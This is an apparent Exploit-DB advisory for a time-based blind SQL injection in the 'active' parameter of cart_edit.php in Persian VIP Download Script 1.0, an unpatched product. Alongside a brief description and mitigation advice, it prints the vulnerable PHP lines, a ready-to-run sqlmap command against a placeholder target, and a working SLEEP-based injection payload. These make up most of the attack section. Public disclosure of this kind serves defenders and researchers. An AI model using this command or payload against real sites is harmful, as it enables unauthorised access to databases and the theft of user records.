Persian VIP Download Script 1.0 - 'active' SQL Injection

vendor:

Persian VIP Download Script

by:

S3FFR

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Persian VIP Download Script

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:freescript.ir:persian_vip_download_script:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows, Linux

2020

Persian VIP Download Script 1.0 – ‘active’ SQL Injection

Persian VIP Download Script 1.0 is vulnerable to SQL Injection. The vulnerability exists in the 'active' parameter of the 'cart_edit.php' page. An attacker can inject malicious SQL queries via the 'active' parameter and gain access to the database. The injection technique used is time-based blind.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: Persian VIP Download Script 1.0 - 'active' SQL Injection
# Data: 2020-03-09
# Exploit Author: S3FFR
# Vendor HomagePage: http://download.freescript.ir/scripts/Persian-VIP-Download(FreeScript.ir).zip
# Version: = 1.0 [Final Version]
# Tested on: Windows,Linux
# Google Dork: N/A


=======================
Vulnerable Page:

/cart_edit.php

=======================

Vulnerable Source:

89: mysql_query $user_p = mysql_fetch_array(mysql_query("SELECT * FROM `users` where id='$active'")); 
71: $active = $_GET['active']; 

======================
sqlmap:

sqlmap -u "http://target.com/cart_edit.php?active=1" -p active --cookie=[COOKIE] --technique=T --dbs
=======================

Testing Method :
	
	- time-based blind

Parameter: active (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: active=1' AND (SELECT 4169 FROM (SELECT(SLEEP(5)))wAin) AND 'zpth'='zpth

========================